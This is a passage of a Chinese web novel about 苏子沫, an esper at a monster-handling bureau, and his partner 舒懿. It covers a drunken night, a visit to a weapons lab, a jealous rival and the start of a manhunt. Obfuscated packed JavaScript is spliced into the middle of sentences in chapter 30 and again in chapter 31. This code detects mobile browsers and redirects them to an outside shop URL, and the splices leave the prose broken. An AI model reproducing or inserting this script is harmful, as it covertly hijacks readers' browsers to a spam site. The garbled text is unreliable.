苏子沫放下笔,揉了揉眼角。感觉疲倦了,就起身倒了杯水喝。 时间快到了,他得稍微在外形上下点文章。站在衣柜门前,苏子沫托着下巴,垂下眼思考。 要给人呈现什么样的印象呢? 文科学生显得太弱气,在场的人都知道他是谁,反而不合适;职场人员锋芒太盛,让人觉得他危险就不好办了。苏子沫抱着胳膊,指尖有一下没一下地敲着。 啊,有了。 那就换成一个自信从容的年轻人吧,即使被不堪的身世折磨着,也仍然任劳任怨,积极进取。缺点就在于太年轻,理想主义,还没有被磨平棱角。 苏子沫打开衣柜,从整整齐齐地分类叠放成几堆的衣服中间抽出一件黑白色的连帽卫衣,漫画图案上面印着几个大写的英文字母。他按掉衬衫的扣子,套上卫衣,拉了拉衣服的下摆。 然后他挑了一款宝石蓝的美瞳,带高光。 苏子沫原本的瞳色冷冰冰的,总会有种距离感,让人隐隐约约觉得危险。这款美瞳和他的瞳色比较相近,但是偏浅,看上去亮一些就会好很多。 在离开之前,他最后照了一下镜子…… 镜中的青年也在冷漠地看着他。 柔软的深灰色发丝下,是一双澄蓝色的眼睛,仿佛纯净的宝石。只是他此时面无表情,有种古怪的错位感。 苏子沫精细地调整着自己的表情,想象着那个搭档傻乎乎的笑容,嘴角的弧度,眉毛和眼角…… 不错。 轻松又坚韧的姿态,像是大海。 28. 醉意 天已经黑了,门外在下雨。苏子沫一个人静静地站在门口。 他慢慢放下了向车子离开的方向挥动的手。 雨滴落下,空气湿湿冷冷。 喉咙里苦涩的味道弄得他有点想吐,苏子沫捂住嘴咳嗽了两声。能力的运转能帮助他高速地分解酒精,可是仍然克制不住灌下去时的恶心感。 不。 比起这个,还是维持那种笑容更恶心。 这个点已经没有公交了。其实他可以自己走回去,甚至不用打伞,但是别人会看出异样。叫车吗?他摸摸口袋。 等等,好像没有耳机……是掉在包厢了吧。 苏子沫扶着额,折返回去,最后在自己的座位下找到了耳机。 直起腰,他有点恍惚。宴会上美食和酒水满满当当,剩下一大半。水晶吊灯仍然光华璀璨,映照着已经冷却的宴席。 “……” 青年低下头,酒杯里晶莹的液体微微泛起一点褶皱,反映着他模糊的形象。 忽然,苏子沫突发奇想。 如果喝醉的话,又会是种什么样的感觉?反正应酬已经结束了,他也是一个人住…… 他笑了笑,端起酒杯。 事后,苏子沫对自己这一轻率的举动深感后悔。 仿佛只是一刹那,时间就像被玻璃杯中的液体吞没了一样。回过神来的时候,已经…… “苏子沫……” 谁…… “苏子沫。” 谁? 世界像裹在透明的茧膜中,一切都模模糊糊,晕开了边。声音由远及近,刺破了他沉浮的意识,唤回一线清明。 深金色的眼瞳,像是琥珀。 苏子沫眨了眨眼,而后缓慢地抬起澄蓝色的眸子,努力辨认眼前的人形。看了好几秒,他才回过神来,皱着眉问: “你为什么在这里。” 穿着工作服的女孩瞪大了眼睛,恼火地质问: “什么?这么不待见我,一看见我就皱眉?我倒是还想问问你呢!喝醉酒这么晚还不回家……” “你们认识?” “嗯…徐姐,他是我同事。”舒懿转过头,无奈地说,“我也不知道为什么他在这还没回去。” “我没醉。” 苏子沫不高兴了,扶着椅背摇摇晃晃地站起来,企图向前走。结果踉跄了一下,舒懿怕他摔倒,只好拽着他的胳膊。 这叫没醉? “你没醉?…我真的无语,你这样怎么回去啊?” “要不要你送送他?” 徐姐和善地笑笑: “既然你们是同事,应该比较方便,不然也不好办。这已经是今天最后一桌了,剩下的我来就行。” “嗯……” 舒懿歪着头想了一下,笑起来。 “好吧,麻烦您了……谢谢您!” “没事,记得路上小心。” …… 换回了衣服,舒懿无奈地拉住苏子沫的手腕,架在自己的肩上,让他靠着自己。 “还能走吗?你家在哪里,我帮你叫车。” “我…我能走,你不用……管我……” 苏子沫有点皱眉。他挣扎了一下,狠狠地抽出手。舒懿被这大型动物猛地一带,差点也摔了,急忙双手抱住他的手臂,防止这家伙被自己的力道弄得跌在地上。 “喂!发什么疯啊……” “没关系,我…不需要……你自己…回去就可以……” “唉……” 舒懿叹了口气,挽着苏子沫的手臂,好声好气地和醉鬼说话: “你看,这么晚了,我一个人回去很危险,拜托您帮帮我,行吗?” 苏子沫沉思了一会儿。 “好吧。” 他终于不挣扎了,老老实实地靠着她。舒懿费了好大劲,才从这家伙嘴里掏出了地址。雨已经停了,可还是很冷,她打着哆嗦把他塞进车子里,自己也坐进去。 “你干嘛来找我啊。”苏子沫忽然说。 “我刚好周末在这里打工,没想到碰见你了,就做好事了呗。”舒懿托着下巴,心不在焉地望着窗外,随口回答。 “其实你可以不用管我的……” “知道了知道了,苏子沫同志,您已经说过好几遍了。我想管,我爱管,我多管闲事,不行啊?” “……” 他垂下长长的眼睫,有些灼热的呼吸贴着她的发旋。舒懿感受到那股热量,抬起头,正对着他的眼睛。 大海一般,深沉又清冽的蓝。 “你真奇怪……” “你才奇怪呢。” “我没有。” “拜托,奇怪的是你。你这人真是……别扭得要死。”舒懿感叹,“被人照顾有那么难吗?不对,甚至都说不上是‘照顾’,只是普通的‘关照’,或者说‘礼貌’而已……” 苏子沫轻蔑地冷笑了一下。 “哈……?我才…才不需要……别人呢!废物,都是一群废物,他们才没能力……我…我一个人就够了。” “唔,这样的话……” 舒懿笑了。 “你会很累的。” 他愣了愣,好像真的遇到了一个世纪难题,犹豫了一下。 “我不会……” “你一个才多大的人,为什么不会累?”舒懿和这醉鬼互怼咂摸出了新鲜感,兴致上来了。 “我和别人不一样。我很强。”苏子沫淡淡地说。 “咳咳……你很强吗?我怎么看不出来。” 舒懿强忍笑意,她知道自己不应该逗一个失智儿童,可是根本忍不住。 “……” 苏子沫眯着眼,想了一下…… “我……不用努力,就能做到…哈 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“不是,我才没有…自我中心,”苏子沫恼火起来,凑近她的脸,语气变得冷冷的:“别人不想靠近我,才不是…因为这个,是他们害怕……” 车子在小区门口停下了。 舒懿去小区门口的药店买了点醒酒药,然后架着他坐电梯上楼。楼道里的声控灯“啪”地一声开了,暖黄色的灯光回应着孤零零的脚步声。 她看这醉鬼钥匙半天插不进锁孔,叹了口气,抢过来自己插。 “我可以……!” “你不行。” 钥匙转动了两圈,门开了。 舒懿把苏子沫推进去,又把装着醒酒药的塑料袋举到他面前:“拿着,记得吃药,不然第二天疼死你。” “……” 苏子沫垂下眼,睫毛投下一片淡淡的阴影。他伸出手,掌心朝上。舒懿就松开袋子,连同金属质的钥匙一起拍在他手心里。 人体的热度一下子逼近过来,皮肤的触感,连同突然敏锐起来微弱而轻颤的呼吸。 楼道里灯光暖暖的,几只飞蛾扑棱着翅膀。下过雨的空气冷得有些刺,他的影子被拉长,投在客厅寂静的黑暗中。 “晚安,领导再见。” 她最后笑了一下,转身离去。 “咦?” 他的手指,慢慢从拉住的衣角上滑下。舒懿转过头去,琥珀色眼眸中是克制不住的惊异神色。 苏子沫眯眼笑了笑: “我…以为你……掉,掉东西了,没事,再见。” “再见。” 他静静地听着脚步声远去。 是喝醉了,苏子沫想。 于是他转身,走进黑漆漆的房间。 29. 夏橙 舒懿叼着面包,鼠标一边按下“提交”键。电脑屏幕上弹出“已提交”的弹窗,她关掉电脑,给苏子沫回信息。 送他回家的第二天,苏子沫就发来信息道歉。说自己失态,麻烦她了,还发了药钱和车费。舒懿问他是不是发多了,苏子沫表示,这是她送他回家的费用。 ? 舒懿当即发了一堆“你有大病”的表情包,对面居然还问为什么,二者进行了牛头不对马嘴的辩论。她被这家伙气的没话说,工作还要看见他,看了就烦。 但是那次以后,两个人就开始有一搭没一搭地回信息,虽然大多数都是公事。但是偶尔不谈公事的时候,舒懿找到了奇怪的乐趣,那就是猜测苏子沫的反应。 他确实有一些认知问题,连他自己都意识不到。 舒懿也是第一次见到这种人,看上去无懈可击,可是实际上却毛病叠着毛病。即使能意识到自己表达情感的困难与方式错误,但却把智商和能力作借口为自己的行为辩护。 一句话概括就是……这家伙性格真的很扭曲。 不过舒懿还是有些猜测。送他回家的那天,难道那么晚,他的父母都没有给他打电话吗?就放他一个人在外面喝酒……而且,门口的鞋架上只有男款,也不像是中年男性会穿的样式。 苏子沫是一个人住吗? 可是…… 要是在外地读书还好说,可这是在外地工作啊,再怎么说他也只有二十岁。结合之前的种种迹象,她很疑惑为什么苏子沫的父母居然肯让他在外地干这个。 她最近除了出任务,还在忙于申请能力体外转化技术使用许可证。尽管理论上来说,实习生承担的只是一些辅助性工作,不会接触到实质性内容。但是舒懿还是觉得,能多做一点是一点。 “叮”的一声,消息进来。 【申请提交了吗。】 “怎么了”舒懿啪啪啪地打字。 【你下午有空的话,过来一趟。我带你见一个人。】 苏子沫聊天的风格很简洁,语法标点一个不落,甚至更接近书面语。听起来让人觉得冷冷的,生分又疏远。 “给我把话说完,见谁” 【夏橙。这个人是制造能力体外转化的攻击性武器这行的行家。她邀请我,我想你最近在申请许可证,可以先带你过去。】 “OK OK” 舒懿换了一个姿势,打字:“你为什么全是默认设置啊,头像也太老年人了吧……?账号名为什么是你的名字啊,我看的难受,好low!” 【我不玩社交软件,本来就是为了工作开通的。】 “你好没意思。” 【工作不需要有意思。】 “我说的是你!” 舒懿捏着手机快速打字,有点恼火,发了一个无语的表情。 【确实,我是个没什么意思的人。】 “……” 她抬头望天,沉思人生。 指尖从电子屏上的发送键上移开,苏子沫靠在墙上,轻轻地笑了一下。 舒懿。 他默念了下她的名字,感到久违的一丝新奇。苏子沫从墙上直起身来,双手插在大衣口袋里。 之后还有很多事情要做,好几个任务的生物检材比对快出结果了,他后天还得和同事开一次专题会议。辖区成立了专案组,对提交上来关于可能存在人为实验的报告予以高度重视。 不管怎样,希望这群人安分点,不要给他搞事。 正常的辖区总发案率应该在10%左右,然而现在已经上升到了24%……这还是从危险等级最低的怪物开始起算,过区级以上的怪物同比增长就更别说了。 实习生也并不是所有的任务都要跟着他,舒懿又那么积极。这种情况下,是该给她配 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他输入电子锁的密码,沉重的金属质大门缓缓滑开。 “突发情况?” “就是……” 她没能听到回答。 “小苏,你总算来啦!” 穿着白大褂的娇小女人扎着孩子气的丸子头,笑容灿烂地和招手他打招呼,右手却直接抬起了枪支形制的武器: “下午好!” 苏子沫猛地一扯她的手腕,叹了口气,面不改色地抬起手。枪口凝聚的光点化为紫白色光束,冲击波自激光与护罩相碰撞的一点四散开来,最后消失在空气中。淡淡的焦糊味弥漫在鼻尖,舒懿目瞪口呆,甚至没有回过神来。 苏子沫推了下眼镜:“嗯,下午好。” 30. 李哲野 “……” 她被意料之外突如其来的攻击弄得瞪目结舌,语言系统直接卡死,挤不出一个字来。 “可以诶!这个威力——” 夏橙似乎很高兴的样子,一手高举所持的武器,踮脚原地转了一圈。 “差不多能击穿次城级怪物的防御,已经很不错了。点状持续输出的话,应该能造成更大的伤害。刚才的是最大功率?”苏子沫笑笑。 “是的…~!但是完全没对小苏起作用,没劲。”夏橙撇了撇嘴,拨下激光武器的安全栓,随手别在腰间。“这才让我挫败呢……要不刚好再来帮忙测试测试其他武器的威力?最近新搞了很多有意思的小玩意。” “今天不行。我是想提前帮我的搭档看看,有没有适合她的武器。” “嗯……”夏橙忽地凑近舒懿,推了推眼镜,把她从上到下扫描一遍: “居然有搭档了…你习惯近战,还是远程?以前有用过什么吗?有能力吗?能力是什么?打算的发展方向?目前的缺陷?” “杨铭指定的。”苏子沫说。 “我…我没有能力。以前也没用过什么武器,不过我想,还是选类似手枪一类的中短距离武器吧,应该也好上手。发展方向的话……还没想好,应该也是以精准打击为准。目前的缺陷……” 舒懿想了想,哼哼着吞吐:“都…缺。” “好的,我明白了。” 夏橙点点头,在文件夹上的表格中写写画画,然后把它往堆得乱七八糟的桌子上一扔,惊险地与其他物品保持了摇摇欲坠的平衡。 “隔半天再来,我心里有数。现成的不是没有,不过还是做些改装更好。” “哇,谢谢您!” 舒懿诚惶诚恐地弯腰,向她点头致谢。 “小事小事。” 夏橙似乎是高傲地一扬下巴,两臂交叉在胸前:“你是小苏那边的人嘛。” 他脸真大……舒懿暗暗地想。怎么感觉和其他大佬都颇为和谐诶……不,应该说是,投缘? “那么现在,总可以了吧?” 夏橙露出了一名研究者迫不及待的笑容,吓得舒懿同志一溜烟窜到苏子沫背后,探出一个眼睛瑟瑟发抖。眼看她就要往小山一样的武器堆里摸去,舒懿立马紧闭双眼,把身前的青年当盾牌使用。 然而,苏子沫眉头倏地一皱,看向的却不是夏橙的方向,而是…… 地底。 第九辖区研究所的构造是一个位于地下二层的环形建筑,打开内侧的金属隔板,可以透过特制的防护玻璃直接观察到最底层的圆形测试区、训练区和对战模拟区。 此时的内侧隔板处于关闭状态,按理根本无法观察到底层的状态。但他神色一肃,抬手制止了夏橙跃跃欲试的举动,将食指放在嘴边: “等等。” “怎么——” 热量。 舒懿也感受到了,仿佛岩浆在脚底爆发、涌流,似乎巨大的火焰就将从那里浮起,掀起金红的火浪! 苏子沫猛地抬手,而后往下一按,蓝色的微光从他站立的这个点迅速地扩散出去,附着在地面上。就像是一场轻微的地震,有什么东西在撞击地面,发出近乎碎裂的声音。舒懿踉跄了一下,险些摔倒,终于感觉那股令人心惊的热度退散下去。 下面发生什么了?! “下去看看。应该是测试区事故,但也不排除被敌人入侵的可能性。” 苏子沫径直向门外走去,边走边整理了一下袖口。舒懿赶紧跟上去,提心吊胆地思考着刚刚他提到的种种可能性。 “我倒要看看谁敢威胁我的宝贝实验室。”夏橙笑得一脸和气,从身边的桌面上举起一把白底蓝纹的机关枪式武器,示威般拉了一下枪栓。 但是,没能等到他们走到电梯前,电梯门就从内部缓缓打开了。 电梯里,站着两个人。 蓝眼睛的青年冷冷地看着对方像小狗狗一样探出毛茸茸的红色脑袋,大幅度弯腰鞠躬,再猛地抬起头来大声喊道: “非常抱歉!测试的时候没有控制好,攻击被反弹到天花板上了!请问你们没有受伤吧?” 站在他身旁微微发福的中年男子眯起友好的下垂眼,拍了拍红发青年的肩膀,向他们微微欠身:“哲野,怎么这么不小心?给大家道歉,事情也比较突然,是我的责任,没出事就好。” 哲野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过也很快了,我看你刚好也在,巧嘛,是不是?” 又不是真的急,为什么又要麻烦苏子沫啊?舒懿虽然不敢对领导发表什么言论,但是听得多多少少有点不爽。这是人家只要没出任务就要免费给你们干活的意思啊? “……” 青年冷漠的冰蓝色眼睛瞥了一眼旁边“嘿嘿”笑着的家伙,没有再拒绝。他轻轻笑了一下,就好像大人要去安慰小朋友: 算了。这都没什么,一切都可以忍耐。 “好的。” 31. 我也讨厌你 电梯下行,来到测试区。 这里的布局出乎舒懿意料的简洁,开头的电子金属大门后,是数个暗银灰色的小房间,墙壁、天花板和地板都是这种材质。其中,一间金属隔间的墙壁呈现一种隐隐发红的状态,再结合它的方位,很容易推测出,这就是刚刚二者测试的区域。 “这里不是还有这么多房间吗?就不能到别的地方去测嘛?”舒懿嘟哝。 苏子沫笑了笑,睫毛落下一片浅浅的阴影: “他们的问题主要在于,这里的设备不足以支持那个能力者测出他的极限,所以要叫人工来。” “啊……” 舒懿点头。 “那帮他测试的人不会很危险吗?毕竟要直面那人的攻击……” “确实,所以叫了我。” “……” (喂,这家伙究竟有没有装B成分?) 正说着,走在前方的两人走进了另一个测试屋。看到四人都已经进入,王科长按动墙壁上的电子屏按钮,关闭了电子门。 “准备好了吗?小苏,麻烦你了,不过要测试的不是很多,其他的换个设备都能解决,像防御力、精准操控等等一系列项目他都完成了,你就负责帮他测试一下攻击极限就行。” 红发青年略带担心的声音从一旁传来: “科长……?你确认不会伤到人家吗?万一又发生刚刚的事……” “哎,你放心你放心!不知道小苏嘛?人家心里有数,快点快点,别耽误人家时间。” 李哲野看他的眼神却突然变得略有些复杂。 他吞咽了一下,隐隐露出些挣扎,似乎要说些什么。但最后还是摆好架势,大吼一声:“要攻过来了,小心!” 苏子沫站在他对面几米开外的地方,并没有要做准备的意思。 只是说:“可以了。” 下一秒。 耀眼炽热的火焰从他的掌心瞬间爆发,大股火浪席卷喷吐出来,仿佛有无数猛兽向前扑击。灼热的空气扑面而来,舒懿几乎睁不开眼。 危险的火焰已经已经欺身至前,只见苏子沫轻轻抬手,在身前不紧不慢地划出一个半圆。李哲野的火焰就如同被压服了一般,顺着他抬手划出的轨迹流动,收束成一团小小的火焰漩涡。待所有的火焰都进入其中,苏子沫攥拳,直接把那团火压熄了。 红发青年瞪大了双眼。 但苏子沫向他微微笑了一下,点了点头,表情看起来也没什么大不了的。 “非常不错。比较粗略地计算,已经摸到次城级一个很高的巅峰了,再进行练习,肯定可以达到更高的层次。未来可期,加油吧。” 他说完这话,向舒懿招了招手。她心领神会,打开电子门就往外窜去:“那科长,我们就先回去了,可以不?” 王科长的下垂眼已经笑得眯缝成了一条,亲切地拍着红发青年的后背,根本无暇回话,显然是已经默认了。 但是李哲野却快步追了上来,把科长甩在了后边。他很快就和苏子沫并行,伸出手,似乎自然地想揽住他的肩膀。 “老头子,你先走呗?我想和苏哥说说话。” “……” 苏子沫冷淡地瞥了一眼青年伸过来的手,然后侧身轻轻挡开了。 虽然他的动作幅度并不大,也比较自然,并没有特别让青年难堪,但这一幕当然被舒懿和王科长收入了眼底。不过出乎她意料的是,护犊子的王科长只是理解般地点了点头,笑着说: “不打扰你们年轻人。哎,让我走,那行,小哲你等会儿再过来找我。小苏,这孩子性子直,麻烦你了哈。” (这是在暗示苏子沫,让他不要说太过分的话吧……但是也许这个科长也希望这家伙从苏子沫身上搞到什么提升秘籍什么的,所以说没有阻止……) 李哲野的动作微微一僵。 但他若无其事地用那只本想伸出去的手挠了挠头,“嘿嘿”一笑,像只热切的大狗一样围在苏子沫旁边。 “哥,你的名字是什么?来这么久了,我居然都还没有碰见你诶!你看起来也不大,但是居然这么厉害,真的,一下子就把我的攻击化解了!那个那个,你的能力是哪类啊?” “苏子沫。手机上我们的系统里有资料,上面都有。” “呃,但是……好吧,那我们能不能加个联系方式啊?平时有一些能力上的问题能不能来找你解答?我觉得你真的很厉害!” “这方面你可以去问王科长,他比我更清楚。平时我有工作和学业,比较忙,不一定有空答复你。” “啊……那交个朋友总行吧?我发现和这边同事里有同龄人真的很亲切……” “我记得跟你一个科室的人也有另外一个同龄的实习生,你们交流也方便。” (妈呀,苏子沫好冷漠,油盐不进,快尴尬死我了……但这人也太社牛了吧!) 舒懿疯狂吐槽,可也没什么办法。毕竟人家看都没看她一眼,就逮着苏子沫夺命连环问,她插什么嘴? 但是,她其实也能理解他的冷漠——毕竟这家伙一看就有点动机不纯的样,而且自来熟,苏子沫肯定不喜欢。 红发的青年欲言又止,止言又欲,终于憋出一句:“……为啥啊?” 苏子沫站住了。空旷的走廊里,只有冷白的灯光。 凝固火焰一般的瞳仁,碰到那片冰冷的蓝色,本能地撇开去,以避开那种心惊。 他轻轻叹了口气。 “那你想干什么呢?” “……诶?我就是看苏哥你很厉害,想能不能认识一下,学习一下……” “你的底子很好,很有天赋。”苏子沫脸上露出了他惯常的、温柔的微笑,语速是一种慢慢的从容,像是老师在对学生循循善诱似的,“上进是件好事,但是不能急。能力的提升,对你来说就是一件顺其自然的事情,不需要特别练习。练习的主要还是精准操控的部分,这部分我是不太擅长,没有办法给你什么帮助。我只能说,你不要着急,慢慢来,多考虑一点各方面的情况。表现自己是可以的,但是不要特意为了表现自己急于求成。能力其实也需要心性,对吧?能力者是会被自己的能力影响的,你注意一下就好。” “……好的哥,我知道了……” “那行。” 苏子沫冲他一颌首,带着舒懿向前走去。 看着两人身后拖长的影子,红发的青年仿佛呆愣了一会儿,盯住苏子沫的后背。回想起那双冷漠的蓝眼睛,他无意识地捏紧了拳,咬着牙根自言自语: “在装什么……” 眼看那人就要消失在走廊尽头,李哲野抬起头,对着他们大喊一声:“谢谢哥!以后有机会我还会再找你的!” “……” 苏子沫眯了眯眼,冷白色灯光下细窄的瞳孔就像冷血动物的眼睛。 “为啥我感觉他没安好心?是有点神经大条还是没安好心啊?” “都是。” 麻烦已经够多了。 …… 回到办公室,舒懿正吭哧吭哧地蹲在柜子旁整理资料,鼓鼓囊囊的牛皮纸袋在旁边堆成了小山。她刚刚核对完纸袋上的编号,准备搬进柜子的时候,手机震了一下,屏幕亮起。 (谁?) 舒懿拿起手机,发现是一条新的好友申请。对方的头像是一只可爱的线条风小狗,备注是“今天你们帮大忙啦,交个朋友可以吗?” “。” 这人来找她干嘛?在测试区的时候净围着苏子沫转,根本没有分过她半点注意。自己就是个纯纯小透明,属实不可能入人家这种前途无量角色的法眼。 但是,舒懿歪着头,很快想到了一个可能。她手指点开聊天界面,给苏子沫发了条消息: “那个叫李什么的有尝试加你好友吗” 【没有。】 “奇了怪了…”舒懿耸耸肩,随手点了通过的选项,正打算把手机扔到一边—— 嗡嗡。 手机又震动了一下。 这又是啥情况… 舒懿撇了撇嘴,还是拿起了手机。小狗头像发了一个“你好”的可爱表情包,配文是: 【今天真的超级感谢你们!我觉得可以交个朋友,呜呜,但是苏哥好冷淡欧,他是不是讨厌我了呀?我想一直烦人家也不好,你是怎么做到和苏哥搭档的,我觉得好牛!不会很可怕吗】 是的,你没猜错,他就是讨厌你…舒懿沉思。这人咋没完没了… “他这个人确实不喜欢和别人交流。他说话老是不太好听,但绝对没有恶意,你不用听语气,想想内容就行了,我就是这么和他搭档的” 【是嘛,有点心疼你诶,还要去猜意思…我之前怎么不知道咱们分部还有这么厉害的同龄人?我看新人培养名单上也没他啊,怎么会这样】 “……” 舒懿觉得怪怪的。 “没有猜吧,不是说了听内容就行,就是字面意思;反正他确实是一个年龄,但工作蛮久了好像,所以不是新人” 【这么厉害吗…呜呜我就说怎么那么有前辈气质…我看资料他能力是念动力,就觉得很惊讶,因为这个类型很难出现厉害的人,我第一次见诶,超级激动的】 “……” 就在舒懿绞尽脑汁思索究竟是哪里出了问题的当口,手机屏幕上又出现了一条新信息: 【可惜苏哥感觉好冷淡,没办法交个朋友,也不喜欢我们这些实习生的样子…咱们就不硬去跟难相处的待一块了,你有空可以和我们几个人一起出来玩】 敢情这是来挑拨离间的…舒懿这一下子打通了任督二脉,皱了皱眉。她再迟钝也能够感觉到对方话语里那股隐隐约约的打探和嫉妒味道,火气直接冒上来了: “不是哥,不要替我觉得我俩关系不好了,别我们我们的了,只有你!还有,来问信息就大方点,我看你当时在下面也没看过我,不用装来交朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385385|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,你不累吗?不过没错,自信点,他就是讨厌你。因为你酸死了还要在背后贬低人家,搞小团体让自己好受点…劝你认真想想他对你说的话吧。还有,” “我也讨厌你~” 屏幕对面,没想碰上个硬骨头的李哲野气急地打出一大串字,正点击了发送,却只能跟屏幕上对话框右下角的红色感叹号大眼瞪小眼。 “艹!踏马的居然把我删了!” …… 从资料室神清气爽地回到办公室,舒懿刚好被苏子沫叫住了。 电梯门一开,她就看到穿米色大衣的苏子沫正站在门口看表。余光看见她正好站在电梯间里,他就抬起头,露出微笑。苏子沫跨一步走进来,摁了一个其他的楼层。 “我本来想过去档案室找你,正好,你和我一起上去。一名能力者通缉犯被确认进入辖区范围,上面召集我们开对策会议。” “什么样的能力者?” “资料显示,男,四十三岁,反社会倾向,年轻时曾有入狱经历。似乎是□□强化系,能通过吞噬动植物获取部分特性,危险等级在三~四之间浮动,非常危险。” 说着,电梯上到了楼层,他们并肩往会议室走去。 “吞噬动植物获取特性?听起来像利用DNA重组…吞噬的特性能否储存?有确认能够吞噬能力者吗?”舒懿摸着下巴问道。 “大概率不行。案发现场有目击者表示,通缉犯会随身携带动物的身体组织。至于吞噬能力者…”苏子沫的话音顿了顿,“尚且未知。也许对方选择作为一个底牌,也许干脆无法操作,不过无论如何,这确实是一个重要问题。” (总感觉苏子沫在的话用数值克制一切就行了,好像也不是很重要…) 她吐了吐舌。 到达会议室,苏子沫推开身前的木门,她俨然和某位正与同伴热烈交谈的红发青年大眼瞪了个小眼。 “……” 怎么这么快就碰面了啊啊啊啊啊啊! 舒懿有些心虚,选择默默挪到苏子沫身后,把他当盾牌使用,别过头躲避对方的眼神。 不要看我不要看我… “怎么了。” 青年轻声询问,垂眼看向她,似乎敏锐地注意到了她反常的举动。 “嗯…发生了不太愉快的事。说来话长…” “好,我知道了。”苏子沫点点头,语气有些安抚意味,“没关系,公开场合,他不能怎么样。要是他上来说话,我来拒绝他。” 舒懿怔住了片刻,说:“谢谢。” 心脏莫名有些发暖。苏子沫只是对自己的事情漠不关心,但其实… …… 之后,他们召开了一次对策分析讨论会。 根据监控和布防被破坏的情况,可以确定通缉犯大概藏匿的地点在7区到10区之间,已经通知该地区的居民做好防备,尽量不选择外出。对方存在反社会倾向,可能造成巨大破坏,处理局抽调了部分人手来负责这项专案任务,并且分为了几个行动组。舒懿注意到,李哲野和王科长被分在主要负责抓捕任务的A组中,她和苏子沫却在勘察和分析现场确认通缉犯行踪的B组。 仿佛是知道她正在疑问什么,那双冷色调的蓝眼睛平静地抬起,从面前的文件上移开:“实际上不一定要按这个安排。” “但是,这样的话,那不是报告上还是…” “处理局有心推一把李,这是要给他添点履历好重点培养。” 舒懿咽了咽,不平地凑过来小声嘀咕:“不是,苏子沫,你真的没意见吗?” “有什么意见?” 他翻过A4纸的一页,头也不抬。无意瞥见舒懿憋得通红的脸,噗嗤一声笑了:“这也有王科长的意思。再说,李也挺优秀的,自然系次城级顶端,已经是非常好的天赋了。我也不需要,顺手推一下,没什么不好。” “……” 舒懿的眼睛都要瞪掉了,可惜仍未能击穿敌方防御,忍不住像倒豆一样噼里啪啦地吐苦水:“不是,你知道刚刚我在整档案的时候那家伙跑过来加我吗?!!” “然后?” “打探你的情况,把你当竞争对手呢!还酸得要死,和我吐槽你很冷漠不理人,搞挑拨离间!!总之我骂了他一顿把他删了,这种人你还帮啊?!!” “嗯,我确实挺冷漠的。” “啊啊啊啊啊啊啊!我要掐死你!!”舒懿举起双手,好像想要抓住苏子沫的肩膀疯狂摇晃,又忍住了。只是憋得实在难受,对着空气咬牙死命掐隐形人,虚空搏斗了三百个来回。 “他还年轻,不一定是真坏。” 苏子沫嘴角似乎浮起一点淡淡的笑意,他终于抬起头来,直视她的眼睛。 “人都有情绪上来的时候,也许是脑子一热。我并不需要那些功劳,反而如果算我头上,多了会很难办。只要能把事情解决就行,有时候并不重要。” “可是,那你呢?” 32. 通缉犯 清晨冷冽的空气像要往人的骨子里钻,警械灯有节奏地闪烁,围观者议论纷纷,焦躁不安地攒动。 几个身影从远处缓缓走来。 苏子沫向封锁圈内的几名警员出示了证件,便一手拉起警示线,等舒懿钻过后也紧随其后弯腰通行。他今天穿的是件高领风衣,还戴了顶鸭舌帽,乍眼让人想到老式黑白电影中的侦探。 这是一间有些老旧的酒吧,外墙已有些剥落。墙角放了几盆早已半死不活的盆栽,血迹从地面延伸出来,像条红色的蛇。 苏子沫蹲下来,食指沾了点血迹,捻了捻。 “有能力者遗留的痕迹…监控还完整吗?” “还算完整,但清晰度不高,看不清正脸。只能看出通缉犯是一名体格高大的中年男子,目测有180cm以上,寸头,戴口罩。似乎是一伙年轻人在喝酒时起了争执,其中一个被对方击打,不慎跌在了通缉犯的身上。对方要趁势追击,尝试用啤酒瓶击打这个年轻人的头部,结果打错了人。”舒懿回应他。 “他用倒下的年轻人当作武器,把那个人提了起来,丢了出去。趁几人被压倒在地,疑犯随之用手变形为甲壳类昆虫的钳子,贯穿了他们的胸腹部。这一切发生之后,人群在几秒之内开始尖叫并逃窜。通缉犯没有再进行攻击,而是迅速撤离了此地。” 苏子沫笑了笑:“几个交通岔口的监控呢?” “我询问了负责这部分的警察,他们说目前还未发现可疑人物。” “不能排除他用利用能力进行易容的可能性。”苏子沫站起来,用口袋里的纸擦拭干净指间血迹,“监控最后显示的地方在哪里?” 舒懿指了指楼道。 苏子沫往破旧狭窄的楼梯往上走,来到二楼。酒吧的地板上还横七八竖地躺着许多酒瓶和烟头,苏子沫轻巧地半跳跃式插缝从上方经过,来到一扇侧面的小门前。他拧开门把,门外连接着消防通道,侧面的铁网上晾了些衣服,向上通往三楼。 “能量痕迹到这里就消失了。”他用指关节敲敲铁网,“我猜他是拿了老板的衣服,然后用能力进行易容后跳了出去。” “唔,这样的话……” “让负责排查监控的人重点观察酒吧后门几个交通岔口的监控,重点观察几分钟内经过的人,如果可能的话,匹配身份信息,联系后确认最近的行踪轨迹。” “明白。”舒懿拿着小本本简短回答道。她可没有苏子沫的长腿,费了好大劲才跨过来。“不过苏子沫,我有些信息想告诉你。这人本科肆业,二十几岁的时候失手伤害了自己的同学,蹲了几年监狱被学校退学了。看学校的通告,貌似是举报被驳回怀恨在心导致。不知道出来之后都做了些什么,不过他觉醒能力相当晚,应该是在出狱后的时间点。这也导致处理局对其能力没有完备的记录。” “至于被通缉,那是四年前的事。这人在为黑恶势力做打手,不过被揪了保护伞,之后开始流窜作案。” “好,我知道了。”苏子沫回头看了她一眼,似乎有些微微的惊讶,“回去把通告发给我。” 舒懿哼了一声应他,似乎有点不爽。她小小声吐槽了句:“都不夸一下员工吗…” 她只是随口一念叨。谁知苏子沫忽地眯了眼,挑起一侧的眉,低低地笑: “要我夸你啊?” “……” 忘了这个挂壁听力好得吓人了!!! 